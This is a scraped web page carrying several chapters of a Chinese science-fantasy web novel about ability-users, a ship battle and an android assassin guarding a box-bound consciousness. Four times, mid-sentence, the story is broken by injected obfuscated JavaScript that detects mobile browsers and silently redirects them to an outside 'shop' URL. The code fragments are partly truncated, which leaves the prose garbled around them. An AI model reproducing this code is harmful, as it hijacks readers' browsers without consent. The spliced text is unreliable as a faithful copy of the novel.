叶提星染蓝的头发颜色正在逐渐变淡，几乎与周围的结界融为一体，身上的机械护甲也在慢慢脱落，她脸上的刺青散发着淡淡的光芒，神色莫名。 加里见自己的“客体化”控制失效，又见叶提星情况不对劲，他眼珠暴突，不顾正在淌血的伤口，从随身的武器包里摸出一颗小型榴弹，朝叶提星的方向扔去！ “一级防御！”他用语音控制着金属软甲保护自己。 机械护甲在叶提星身边散落。 叶提星以肉/身迎着爆开火光的榴弹，微微抬起手。 数以千计的淡蓝色小结界从叶提星身边升起，恍如夏夜银河。 加里的视野里充斥着耀眼的光辉，眼睛被明亮的背景刺得发疼。 毛骨悚然的感觉从他的后背爬上来，他几乎看不清叶提星的样子。 ——他会死！榴弹攻击不到她，而他会被千万个结界绞成肉末！ 电光石火间，加里脑子里冒出一个惊恐的念头。 【黎舍之】：叶提星快被异能吞噬了。 【黎舍之】：加里的“客体化”控制加速了她被吞噬的过程。 被异能吞噬。 丛黎的心脏停滞了一下。 她想起了冷青。冷青虽然不是被异能吞噬的，但在冷青死前，那些黑暗化成的触手不断地包裹住她，把她变成黑色的一部分。 而黎舍之告诉她，这个世界的渡鸦被异能“高维空间”吞噬就代表着高维世界的降临，也就是她穿越的原因。 眼前的叶提星…… 叶提星看起来不再像她自己，此刻的她是结界力量的代名词。 她的双手放在身前，像虔诚地捧着整个结界。 她的身体在慢慢变淡变透明，和结界融为一体，飞舞的淡蓝色头发如同结界撕扯出来的丝线。 【亚尔弗】：等等！客体化加速了……！我们该怎么办？ 【黎舍之】：加里的客体化控制是将人的自我意识剥离。被异能吞噬也是自我意识剥离的过程。 就像被关在盒子里的渡鸦的自我意识被剥离，被丛黎的意识取代。 就像虚构了她里莎船长的班智，自我意识被剥离，逐渐被她里莎船长的意识取代。 异能侵蚀异能者，就像是另一种“客体化”。 【亚尔弗】：所以，加里的客体化控制剥离了一点叶提星的自我意识，然后她的异能蠢蠢欲动，趁虚而入继续剥离她的意识……不对，现在不是讨论这个的时候，我们到底应该怎么办？ 【黎舍之】：没办法。 在榴弹/爆发的火光中，叶提星的面容被照亮，她闭上眼睛。 结界在一瞬间罩住了榴弹的爆炸！ 剩下数量繁多的结界，像流星一样向加里飞去。 丛黎刚才把那个显形的小人投放在了叶提星旁边，但此刻显形的她被一股大力弹开，随之，她发觉自己也被一个结界罩在其中。 丛黎：“怎么我也成了攻击目标？” 【黎舍之】：如果叶提星被结界吞噬，她会无差别地毁灭一切。 船上，六楼客宿区走廊。 布下斗殴结界的船员眼见着自己布下的结界光芒越来越盛：“……这不对劲。” 保镖在旁边问：“需要呼叫救援吗？” 船员瞪大眼睛：“不，来不及了！” 斗殴结界的缝隙越扯越大，像充满气的气球一样，下一秒就要被里面填充的光芒挤爆。 刺眼的光芒在视网膜上投下斑点。 三—— 二—— 一！ …… 船员睁开眼睛，走廊上平静如初，结界光芒淡了下去。 “虚惊一场。”保镖抚了抚胸口。 船员惊疑不定地观察着走廊上的结界。 不……并不是虚惊一场。 他布下的斗殴结界早就爆破了，现在的结界是另一个人施放的。 是一个结界力量充盈到恐怖的人施放的。 里面那个名叫叶提星的结界异能者，刚才的本意应该是撑开结界逃出来，可是为什么突然收手，用另一个结界将自己困在了其中？ 结界内。 丛黎的显形被困在结界中，她感觉现在的自己就像套娃，被一层又一层的结界围住。 这就糟糕了。 结界是破法则系的隔绝系异能。 她完全拿结界没办法。 要是有办法，十年前的渡鸦也不会被叶提星等人联手灭了身体。 【亚尔弗】：情况怎么样了？我完全收不到叶提星的意识波。 【丛黎】：我被关进结界了，我看不到。 【黎舍之】：现在的她不会杀死任何一个人。在叶提星的意识还没消失时，杀了加里只会获得异能抗体，反而让叶提星存活下来。等到叶提星的意识完全消失，叶提星和结界会同时爆裂。 意思是，“异能”在阻止叶提星获得别人的异能抗体。 【丛黎】：太狡诈了。 丛黎尝试着把自己的显形投影放大了一点。 显形体积：五十厘米高的小人。 束缚着她的结界也随之增大，气球充气鼓起来。 显形：一米七高的普通人。 结界继续膨胀，直到能容下她的显形。 显形：三米高的巨人。 结界依然包容地往外扩开。 【黎舍之】：除非叶提星的意识消散，不然结界不会对你造成伤害。 丛黎：“我不是要试这个。” 丛黎的结界外。 叶提星的周身被结界的光芒包围着，脸上无喜无悲，带了几分神性。 她的意识只能听到微末的伙伴声音，那些声音正在远去。像在走一条漫长的路，她不断回头，却听到那些声音离她越来越远。 【亚尔弗】：她真的会死。她是真的想死。她每天都在想怎么抓住机会去死。 【丛黎】：亚尔弗，闭嘴。 她开口道：“叶提星。” 【亚尔弗】：她听不到！ 【丛黎】：闭嘴。 “叶提星，我也想想试试被异能吞噬的感觉，反正会有更高维度的人代替我。” 高维显形的丛黎被结界困住，无法控制外界的物件。 她唯一能做的就是自杀：“我先给自己念个法则审判。” 叶提星稍显吃力地睁开眼睛，她好像听到了什么。 “剥夺我自己高维空间异能需要的审判词如下：” 叶提星的嘴唇在微微颤抖。 “另一维度的时空……” 叶提星从嗓子里挤出一个词：“……停下。” 丛黎从结界内站起来：“你还活着？” 叶提星的声音连贯了一些：“你想做什么？” 丛黎：“就是试一下我自己对自己的法则审判能不能成功。怎么了呢？” 叶提星眼中迸发出愤怒，她的声音也有力起来：“你知不知道十年前杀你有多难杀？！” 丛黎：“我自己杀自己还是挺简单的。我这几天集中训练异能，过几天直接把库金利区的天空城扔进海里，然后我一定会被异能吞噬。” 叶提星咬紧了牙关：“你敢浪费我的精力试试？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493276|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶提星被“高维空间”折磨了十年。 每天，她都需要在睡前听到“盒子没事”“高维人没过来”这个消息才能安心入睡。 十年后，听说盒子里的意识被高维人代替，叶提星悬着的心终于死了。 去看看她的情况，黎舍之说。 于是叶提星赶路赶了两天，坐上了她里莎船长号。 叶提星不是没有对高维人丛黎起过杀心，但总部的意思是这次改变策略，保留丛黎的性命，找到另一个高维空间异能者。 “叶提星，现在杀了我。” 她听到丛黎对她说。 【亚尔弗】：你疯了吗？你现在异能等级低，叶提星十年前就接近S级了。她现在真的能把你挫骨扬灰！ “杀了我。”丛黎道。 叶提星透过结界看向丛黎，她站在结界内，像被玻璃球束缚住一般。 前几天，她在交谈中提到过“天平上的生和死重量”。 但现在，她眼中没有任何求生意志。 叶提星的手指曲起，结界逐渐收拢。 杀了她。 上次只能杀死渡鸦的身体，导致了该死的高维降临。 这次，丛黎等级低，又是意识体的状态，她可以轻易将她扼杀。 杀了她。 手指握拢，结界紧缩，气流旋转着向内裹紧！ 丛黎看向虚空的结界，笑了笑：“来。” 毫不在乎。 坦然、脆弱、一了百了。 叶提星看到她的表情，怔了怔。 叶提星忽然如梦初醒：“你以为我会上你的当吗？我杀了你，我就获得异能抗体了。” 丛黎：“那你到底是更恨我，还是更恨你自己？选择一个杀了。你今天必须要做出这个选择。” 猛然间，叶提星眼中的愤怒和怔然缓缓褪去，重新恢复清明。 她懊恼地闭上眼，张开手，解除了斗殴结界以外的所有结界。 数以亿计的淡蓝色光芒坠落，化为乌有！ 在解开结界的一瞬间，丛黎将显形投放到了她身后。 “解决他，不然我杀了你。”她手中不知何时多了一把手枪，正指着叶提星的后脑勺。 加里见困着他的结界消失，反应过来，却见对面两个女人似乎起了内讧。 原来如此，原来第三个参战者在这里…… 加里反应还算迅速，他趁着她们僵持的时候，迅速发动“客体化”控制。 “朝自己开枪！”加里愤怒得目眦欲裂，这句话几乎是从牙缝里挤出来的。 结界和着榴弹的火光炸开来！ 加里最后一个字音尚在喉咙口，身体已经血肉模糊。 叶提星杀了加里。 叶提星获得了加里的异能抗体。 叶提星半边脸上的黑色刺青随着说话的动作微微动着：“可以了吧？把枪从我后脑勺上放下。” 丛黎仍然举着枪，冷笑道：“你们把箭递到我手里，又拉紧我的弦，挑战我的耐性，又要我不开弓，那是不可能的。” 【亚尔弗】：……我就说无论哪个维度的渡鸦都不可靠，疯子。 丛黎：“别透过我看别人，我是丛黎。” 叶提星闭了闭眼：“算了，你动手吧。” 叶提星早就准备好了去死。 她或许是得偿所愿。 就在叶提星坦然接受死亡时，丛黎手上的枪消失了，她往后退了一步，脸上冷峻的表情一点点皴裂。 在叶提星诧异的目光中，丛黎绷不住了。 丛黎恶作剧得逞，哈哈笑起来：“这把枪是我显形的幻影，里面根本没有装子弹，被骗了吧？” “——都说了我不是这个时空的渡鸦，不要以渡鸦的思维方式度量我。” 叶提星愣了片刻：“你是丛黎，高维时空的丛黎。” 丛黎用手指比了个枪的手势，对准叶提星，神色认真： “其他的账，未来再算。” 23. 刺客之跃23 外部结界消失了。 斗兽场上干净如雪地，调查员加里尸骨无存。 船员感叹道：“连给他海葬的步骤都省去了。” 赶来观战的莉莉丝语带讽意：“他是自作自受。” 叶提星沉默着，看了一眼隔壁607舱房紧闭的门，掸了掸身上的灰尘，回到自己的舱房。 607舱房内。 丛黎在外部结界消失时收回了自己的高维显形。 “累死了。”她抱怨道。 苍术焦虑地等了好一会儿，终于听到了盒子的声音，他抱紧盒子：“你还好吗？” 丛黎：“当然了。” 其实差点就死了。 只要叶提星不撤结界，她就无法收回显形。正如亚尔弗所说，现阶段的她是真的有可能被叶提星爆头。 相反，如果叶提星选择被异能侵蚀，那么她也玩完了。 不过心理战也是战术，不管怎么样，她赢了。 远端通讯中，阿魏问：“所以，‘客体化’异能要怎么对付？” 丛黎随口答道：“确认主体性就好了，就是头脑战。” 阿魏一头雾水：“主体性……我要晕了。” 丛黎胡扯了一句：“类似‘我就是我’，这种。就解释到这里，不说了。” 夜深了，波浪打在船体上的声音轻微地拂动着耳膜。 她里莎船长号在平缓的航行中，距离目的地越来越近。 …… 芯片的另一端。 桑寄神色沉冷：“确认主体性？我不认为打败客体化异能会像她说的这么简单。” 阿魏：“可能因为她是意识，本身没有具体的感官，不容易被干扰系异能干扰。” 桑寄看向那个戴面具的孩子：“白前。” 白前摇了摇头：“我确实读不出她的异能。” 阿魏：“桑寄，你还是觉得渡鸦在骗我们？” 桑寄冷哼了一声：“她的异能太诡异，偏偏结界挡住了一切，在结界里发生的事我们一概不知，谁知道她的说辞里有几分真几分假？” 阿魏无言。 行动小组会议的最后，阿魏转移了话题：“有没有觉得苍术最近好像有点不对劲？” 白前：“我不懂这个，先走了。” 桑寄按了按眉心：“苍术……也是个麻烦。” …… 五天五夜的游览旅程后半段平稳无比。 第六天清晨，她里莎船长号在硫磺市的港口靠岸，仿古的汽笛声悠长地持续了几秒。 苍术带着盒子丛黎、霜的骨灰盒与行李下了船。 他按照组织的指示找到了一个偏僻的落脚点，把霜的骨灰连同他的行李一起埋葬了。 联邦总统所在的库金利区就在硫磺市的市中心，浮在半空里的一个小岛。 “按照计划，我们得混进浮空城的旅游团，旅游团在四天后集结，这几天准备一下前期工作。”阿魏说。 在苍术准备刺杀工作的时候，丛黎在盒子里一边刷论坛一边整理有用的情报。 最近几天，系统又提示了两个任务，说明又有两个玩家陷入了“必须完成任务不然就死”的困境中。 由于系统和论坛的隐秘性，论坛相当于玩家在这个世界里的一个情报金手指。在论坛上分享情报的玩家多了起来。 丛黎获得了不少杂七杂八的情报，只是关于她的异能“高维空间”，她依然一无所获。 在硫磺市的第三天早上，苍术路过红拐街的时候，一个自称是占卜师的人拦住了他。 占卜师戴着一副松垮垮的大框墨镜，邋遢的垃圾星风格背心和麻袋一样的堆堆帽：“老弟，我觉得你可能需要我的占卜。怎么样，请我喝一杯咖啡？” 盒子里的丛黎：“骗钱的，不要理他。” 苍术疏离地拒绝了：“抱歉。” 占卜师一个滑步挡在苍术面前，把墨镜拉下一点来，露出蓝色的眼睛，油嘴滑舌地道：“刻板印象可要不得，我看出你最近心里藏着事情——” 苍术迟疑了一下。 丛黎：“骗……” 【亚尔弗】：是我，是我，申请通过一下。 丛黎对着空无之壁投影上的“占卜师”影像瞅了好一会儿。 麻袋堆堆帽下露出了一撮金发，墨镜下是蓝色眼睛，配合那独特的讨人厌烦的说话腔调，难道真的是亚尔弗吗？ 她闷声不响了。 占卜师伸出一根手指：“一杯咖啡就好，就在那边的咖啡馆。你不同意的话，我会死皮赖脸地缠着你的。” 苍术见盒子没有对他说话，便在远程通讯里问：“以防万一，做一下身份检测。” 阿魏很快回复道：“亚尔弗，‘意识连接’异能，坑蒙拐骗的占卜师，意识连接异能只能做到表层交流，无法进入意识深层，暂时判定无危险性，你可以自行处理。” 身份检测中，名字和异能都正确，连“意识连接”只能“连接”的特性都知晓得清清楚楚。 如果不是组织至今尚未表现出对她异能的明确推断，丛黎甚至怀疑组织那里有一个“检测”相关异能的人。 她胡思乱想了一会儿，重新把注意力放在外面的对话上时，发现苍术已经领着亚尔弗去了那边的咖啡馆。 丛黎：“苍术，你真请他喝杯咖啡？我就发了个呆的功夫，你就被他骗走了！” 苍术声音笃定：“对不起，这回是我自己有想知道的事。” 他特地在“自己”这个词上加重了音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496524|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她叹气：“算啦，了解自己挺好的。” 丛黎切断和苍术的对话通道，切回盒子内，问亚尔弗：“亚尔弗，你到底有什么事？” 【亚尔弗】：别那么不待见我，这回我是给你送大礼包来的。 【亚尔弗】：为了感谢你对她的拯救，叶提星给你去一甦科技偷来了十人份的生命水。 丛黎：“生命水……” 冷青对她说过，生命水是异能抗体的别称，一些大公司在搜集异能者，榨干他们的价值后获得他们的异能抗体，做成药剂拿去给特殊需要的异能者使用。 【亚尔弗】：等会我会告诉你生命水药剂是哪个，我会在惊呼“我知道了！”的时候站起来，趁着我站起来打翻咖啡的时候，你也打翻那个瓶子获得生命水。 丛黎简直难以相信：“叶提星她认真的？去大公司偷十人份的生命水，她知道她在做什么吗？” 游戏背景里介绍过，在这个世界，包括政府在内的各界几乎都是由公司操控的。 被黎家追杀已经是她穿越生涯里的噩梦了，叶提星居然主动去惹上大公司。 【亚尔弗】：她觉得你是个可以信任的伙伴，应该尽可能给你提供后勤援助（这是原话）。 进了咖啡馆，亚尔弗摘掉墨镜，开始胡说八道：“让我猜猜，最近你开始产生新的条件反射了。” 苍术点头：“是的。” 亚尔弗用那一套到处都可以糊弄的话继续道：“你琢磨半晌，觉得这并不正常，因为你以前不是这样的人。” 苍术认真点头：“是的。” 亚尔弗眼珠转了转：“你开始在意一点什么，有时候觉得心脏开花，有时候觉得如坠深渊。” 苍术皱起了眉，眼睫微垂：“是的。” 亚尔弗：“但你不知道为什么。” 丛黎听不下去了。 骗仿生人就那么好玩吗？这不是在所有人身上都会产生的情况吗？ 桌上，咖啡杯边放着亚尔弗自己带的玻璃水杯。 在那只花里胡哨的玻璃水杯里，就是异能抗体药剂“生命水”。 还没到时机，丛黎只能硬着头皮听下去。 亚尔弗继续深入话题：“好了，现在你能告诉我，你在意什么吗？” 苍术犹豫了，他摇了摇头。 亚尔弗引导道：“你不说，我怎么继续为你占卜呢？你只要说一点相关的，我就可以猜到。” 丛黎急着等待那个环节，对苍术道：“你就随便说‘一个声音’‘一个画面’，应付过去就好了。” 苍术把她的话在心里琢磨了一会儿，觉得正如占卜师说的，好像有点甜甜的，心脏噗的一下开花了。 他回答道：“一个声音。” 24. 刺客之跃24 “一个无法解释的存在。”他说。 就像心脏的口袋里多了一只萤火虫，它经常闪烁，也经常逃离，走的时候会牵走心脏周围的血管，带来细微的撕裂感，可最后它总会回来，重新照亮心脏。 苍术无法更加具体地去形容那种感觉。 他总是比任何战斗直觉都要敏锐地察觉到那种情形，却无法做出应对。 亚尔弗看似沉思了一下，手指抵在上唇边，视线放远。 【亚尔弗】：他看起来好像是认真的，让我仔细想个答案给他，减轻我坑蒙拐骗的愧疚感。 盒子里，丛黎叮嘱道：“别骗得太狠。” 苍术在等着答案。 他并没有注视着占卜师的动作，却移开了目光，藏在口袋里的手按住了盒子。 “让我们做个实验，接下来无论我做什么，你都不要动。”亚尔弗忽然站起来。 手边的咖啡杯随着他的动作倾倒，杯壁撞到了旁边的玻璃杯，发出一声清脆的响声。 咖啡液体在空中飞溅起来，仿佛一场慢动作的爆炸，细小的咖啡点在空气中划过，随后落在各个物件上，微不可见，大部分咖啡液体在低空随着重力下落，在玻璃桌面上铺开。 在玻璃杯倾倒的瞬间，丛黎从空气墙里接住了下落的液体。 【你获得了拉巴宁的异能抗体】 【你获得了扶妙的异能抗体】 【你获得了金渔骨的异能抗体】 …… 接连十条系统提示让她有些恍惚。 咖啡在玻璃桌面上漫开图景。 苍术果然按照指示静坐着没有行动，如果可以，按照他的速度本应该可以阻止咖啡杯的翻倒。 亚尔弗的目光下落，看向玻璃桌面上咖啡液体淌开的图形，这是他的占卜方法。 “……分离是必然的，然而你要以死的代价失而复得。萤火复苏，你会获得心满意足的结局。” 深色的咖啡液体从两边慢慢在玻璃桌面上汇合在一起。 苍术灰色眼瞳中的影像停了几秒。 “这就是你想知道的，关于未来的事我也没有更多可以说的了。” 亚尔弗完成任务，墨镜一戴，拖着冗余的服饰离开了座位。 【亚尔弗】：任务完成，生命水接到了吧？ 【丛黎】：接到了，谢谢。 丛黎心情有点复杂。 她躺在空无之壁间，双手枕在脑后，思考着这些天发生的事。 冷青和霜的死亡给她带来的冲击感太强，导致她在调查员加里尸骨无存时甚至有点波澜不惊了。 她甚至怀疑，要不了多久，她就会变成杀人不眨眼的冷血动物。 同时，她的人际关系走向也越来越复杂。 苍术虽然可靠，但他属于组织，且被组织时刻监视着，她无法推心置腹地和他交流，甚至必须刻意隐瞒许多事。 而杀死“她”的凶手们，叶提星、亚尔弗、黎舍之等人，他们给她的第一印象糟糕透顶。现在，他们居然是她在这个世界上唯一勉强可以暂时信任的人了。 虽然加上了“勉强”“暂时”这些限定词，但对于现阶段的她来说已经足够了。 她翻了个身，坐起来。 算了，总之走到哪里算哪里。 …… 芯片的远程端。 阿魏把苍术在咖啡馆的那段记忆文件放进感官模拟机中。 “事情有点糟糕。”阿魏颇感头疼地道。 桑寄一言不发。 白前冷漠地插嘴：“反正都是要死的。” 阿魏揪住小孩的面具：“你不是说你不懂这个吗？” 白前按住自己的面具，语气老成：“想那么多没用，我们一开始抱着什么目的，就该以那个为衡量标准。” …… 回临时据点后，苍术一直沉默着。 丛黎总算发觉他的情绪不对劲了，问了一句：“你怎么了？” 苍术语气平淡地回答道：“没什么。” 丛黎转而开始问亚尔弗。 【亚尔弗】：我占卜的时候你没看？你没听我那伟大的占卜？ 丛黎：“我顾着生命水，哪有精力注意你的胡话。” 【亚尔弗】：不是胡话！你真是让我痛心疾首，我都说了这次我不准备坑人，我是真的在占卜—— 丛黎本来想以“哦”来应对，但以这个态度肯定不能从亚尔弗那里套出话来，她改了改措辞：“你有两种异能？你还会占卜？看不出来。” 亚尔弗果然经不住她的激将，通通一顿猛夸自己，把刚才的占卜词也一并告诉了她。 丛黎将占卜词的一部分重复念了几遍，忽然想起来什么：“亚尔弗，麻烦你去查查一个叫白前的小孩，大概十岁上下。还有，我怀疑苍术所在的组织目的并不是刺杀总统。” 【亚尔弗】：尾迹云？尾迹云是最近几年才出现的地下组织，行踪神秘，势力却意外很庞大。刺杀总统那个，我们来找你之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518984|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就想过了，这个名头一定肯定确定是幌子。我让其他人去查查。 出于关爱仿生人的心理健康，丛黎从空气墙里用手戳了戳苍术。 她本以为会像上次那样，只是正常地触碰一下袖子，毕竟她的“高维空间”可以挪动死物，却无法挪动活物。 没想到这次她一伸手，就把苍术整个人摸了进来。 他没有像其他物品一样变成迷你版本的，比她高一个头。 青年看着她，露出了迷茫而怔然的神色：“渡鸦？” 丛黎比他还迷茫：她可以控制活物了？ 是生命水药剂的加成吗？ 她尚未来得及给他答案，苍术就从空无之壁间消失了。 限定的十秒时间到了。 苍术回到了外界。 丛黎反应过来，心里一下子抽紧：苍术来过这个空间，组织会知道她的异能具体是什么！ 她尽量冷静下来，观察苍术的反应：“苍术，最近你有没有做梦？” 苍术诚实地答道：“我不会做梦。” 她：“刚才……” 苍术疑惑：“刚才？” 苍术似乎没有关于那十秒内的记忆。 丛黎继续试探：“刚才我梦到你了，你有梦到我吗？” 苍术的动作顿住了，他抿起了唇，嘴角有些上翘的弧度。 他神游了一会儿，语气有些淡淡的失落：“……很抱歉，我没有梦到你。” 苍术果然没有那段时间的记忆。 丛黎松了一口气。 还好那段时间内的记忆被删除了。 正在此时，异变突生。 铿！ 临时据点的金属门从门框上脱落，沉重地应声倒地，空气里的灰尘像受惊的鸟群一样飞舞起来。 踩在金属门上的是一只纯黑的皮靴，靴头做过强化，泛着锐利的光泽。皮靴主人穿着紧身马裤，皮质包裹着修长的腿部线条。 不速之客踩着金属门走进临时据点，一步，一步。 阿魏在远程通讯中紧急告知苍术：“小心，这个人叫燕尾，异能是数字加成，他可以在自己的任何方面分配100个属性点，如果在场有数字的话，这些就是他的额外加成属性点——苍术，先扯掉墙上那张有数字的海报！” 盒子里，丛黎也收到了亚尔弗的消息。 【亚尔弗】：查到了，白前，十一岁，异能是“身份确认”，那个组织应该就是在用这个异能确定对手的身份和异能。 25. 刺客之跃25 白前的异能是身份确认。 亚尔弗的情报让丛黎的记忆回放了好些胶卷，碎片线索和画面涌进她的脑中，如草蛇灰线。 第一，她第一次和组织那些人见面的时候，白前在场的目的，就是为了确认“渡鸦”的身份。 第二，苍术和冷青初次交手的时候，组织没有提示，是因为冷青遮掩自己的外表，导致白前无法确认她的身份。 第三，她向组织解释停电断信号那段时间发生的事时，组织对“她里莎船长”这个说辞没有产生过多的疑问，也是因为白前确认了船长的身份。 桩桩件件都有迹可循。 问题是，白前对她的身份确认判定到底是什么？ 白前知道盒子里的不是原来的渡鸦了吗？白前知道她的异能是“高维空间”了吗？ 第一个问题可以参考冷青和霜，如果白前无法辨认出这两个玩家非本人，那么说明她的玩家身份基本上是保密的。 第二个问题还无法判断，阿魏问过她的异能，但如果白前向阿魏撒谎呢？ 丛黎思考完这些，开始应付眼前的状况。 不速之客走进临时据点，径直在沙发上坐下。他有一头和整体风格颇为不搭的粉色头发，其余浑身上下都是黑色的，戴着一副黑框眼镜。 “我不知道你刚才撕下海报的举动到底是收到了什么消息。不过你大概知道我的异能是数字加成了吧？” 燕尾瞥了一眼房间内的情况，目光扫描到了屏幕下方的显示器编号，习惯性地把这些数字纳入脑中。 见苍术戒备的模样，燕尾挑了挑眉：“不用那么紧张，我习惯到一个地方先扫描数字了，没有要和你对战的意思。况且，我的数字收藏只能持续五分钟。” 丛黎觉得这个名叫燕尾的人给她的割裂感很强，就像他的粉头发和黑衣服反差一样强。 气势汹汹地踹翻金属门进来，结果和善地说“没有要对战的意思”，甚至主动暴露自己的异能特性？ 鬼才信呐。 “我再告诉你一件事，我自己不能带任何数字，否则我的异能会失效。”燕尾按了按眼镜上的按钮，继续扫描着房间里的数字。 燕尾越是这么说，苍术越像炸毛的猫，肌肉线条戒备地绷紧。 “所以啊，我这种很依赖环境的异能者遇到结界能力者就完蛋咯。” “不过，你不是我的对手，所以我才放心地告诉你。” 燕尾看向苍术，笑了一声。 这无疑是侮辱。 丛黎不知道该说燕尾高傲还是该说他这样做是一种战术。 好在苍术是仿生人，他没有被这种心理战术影响，他保持着警惕：“请问，你的来意。” 燕尾的身体向前倾，一手撑在膝盖上，伸出另一只手，阴影从上方打在他的眼镜下，显得压迫感十足：“把东西交出来，我可以放过你。” 房间里的气氛凝固了。 苍术注视着沙发上的那人，瞳孔中流动着冷色泽。 “什么东西？”他问。 “盒子。你一直带着的那个，”燕尾答得利落，推了推眼镜又补充道：“这样说好了，我可以鉴定你的身体数值，不可否认，你的身体力量攻防都强。但如果我在踢向你的时候把大部分属性点集中在我的腿部力量上，你抵挡不了。诚然你可以重启，但我可以不断改变我的力量支点，让你一次次地死亡。” 他说话的时候姿态放松地靠在沙发上，显然对自己的力量胸有成竹。 “我说那么多，可不是顾惜你的性命。少使用点异能对我来说很重要。” “更何况，我们还不一定不是同一阵营的呢。” 丛黎意识到事情没有那么简单，她对苍术道：“不要动手，等组织的消息。” 苍术却不出声，他依然如狩猎般分析着、等待着时机。 燕尾似乎是料到了什么，悠闲地交叠起双腿：“我有时间，你尽管等你那边的人联系你。” 丛黎：“苍术，别那么轻易地消耗死亡次数，我觉得他说的对。” 苍术在程序转语音声道里忽然回答道：“但我……” 她：“什么？” 他：“我无法表达。” 组织还没有回复，但丛黎越想越觉得燕尾背后的势力和组织有联系甚至有合作。她左思右想，最后利用亚尔弗给苍术的占卜词像哄小孩一样对苍术道：“占卜词里说了，分离是必然的。” 她话还没说完，苍术的身体僵了一下，眼中失去焦点。 “说不定就是指现在的情况，苍术，耐心等组织的回复。”她说。 他：“为什么？” 她：“哪个方面为什么？” 苍术程序转语音的声音时起时伏：“为什么你阻止我？除了利益考量，为什么？” 丛黎没想到他会问这个，她还以为他会问为什么占卜词是那样的，为什么组织一定回复，为什么不能动手。 她沉默了一下：“你说你最近开始担心死亡了。” 这段对话是曾经在她里莎船长号的甲板上发生的。 她：“没有人会把你的记忆存下来，你开始担心死亡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529252|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你是这样说过的。” 苍术：“但占卜词里说了，以死的代价失而复得，我终究会死亡，我迫不及待。” “不是现在。”她说。 亚尔弗的占卜词坑人，丛黎头疼地想。 “现在你死了谁来让你复生？况且，占卜词中‘分离’在前，‘死亡’在后。” 苍术芯片里扫描分析现状的程序停了下来。 房间里安静得只有灰尘在扬升。 一场漫长的拉扯中，双方都静止不动。 组织终于来了消息：“是合作伙伴，把盒子交给燕尾。” 苍术的双手垂在身侧，他低下眼帘。 模拟外景窗户里紫色红色的霓虹灯光彩流转，照在他的脸侧。 “但是只有你在意我，把我当成一个独立的人看待。”他说。 燕尾看到他放弃了戒备姿态，靴子在地板上一蹬，站起身朝这里过来。 他单手拿过盒子，捏碎了贴在盒子上的微纳耳机接口贴片。 把盒子随意扔进腰间的物品袋里，燕尾什么话也不说，扬长而去。 苍术的微纳耳机里寂静一片，他没有听到她的回复。 就像萤火虫离开了，把整个心脏撕扯得四分五裂一样。 …… 丛黎一焦虑就开始复盘。 首先，她必须要解除现在这个盒子的状态，做完刺杀总统任务就去找黎舍之，恢复自由，免得像现在这样被人带来带去。 其次，关于她使用了生命水药剂后异能增强，甚至能把活物带进空间里，这一点可能和之前思考的可能性有关。 那时，她和她里莎船长对战时，当她的生存意志提高，就自然领悟到了“高维显形”和“法则审判”。再结合叶提星快被异能吞噬时的情形，不难推理出—— 生存意志，自我意识，异能抗体，这三种东西是息息相关的，任何一种都能增强异能。 它们既是对抗异能吞噬的阻断剂，也是增强异能的催化剂，重点可能在于异能和抗体之间一种微妙的平衡。 第三…… 燕尾已经到了目的地，她暂停思考。 “幕僚长。”燕尾向幕僚长报告了几句话，把盒子放下后很快离开了。 一个黑西装青年正翻看着桌上的纸质文件，沉静肃然，连睫毛都安静不动，偶尔才会扇动一下。 纪学默。 库金利区幕僚长。 她里莎船长号上调查组的组长。 “在船上的时候，我大概知道了是怎么回事。”纪学默抬起头。 26. 刺客之跃26 纪学默是个难以揣摩的人。 他像教堂里的玻璃花窗，陈旧而高耸的窗从不推开，任何烈日光线透过他都会成为斑驳陈旧的颜色落在地上。 “我该怎么称呼你？渡鸦？或者另一个名字？”他问。 两句话让丛黎浑身扎起了警惕的刺。 在船上见到纪学默时，他作为调查组的组长是整个调查组里最温和的一位，但意外让丛黎感到有点危险。 那时她运气好，利用“撞狐岬角”勉强让苍术躲过纪学默的查问，不过那次是巧合中的巧合，运气中的运气。 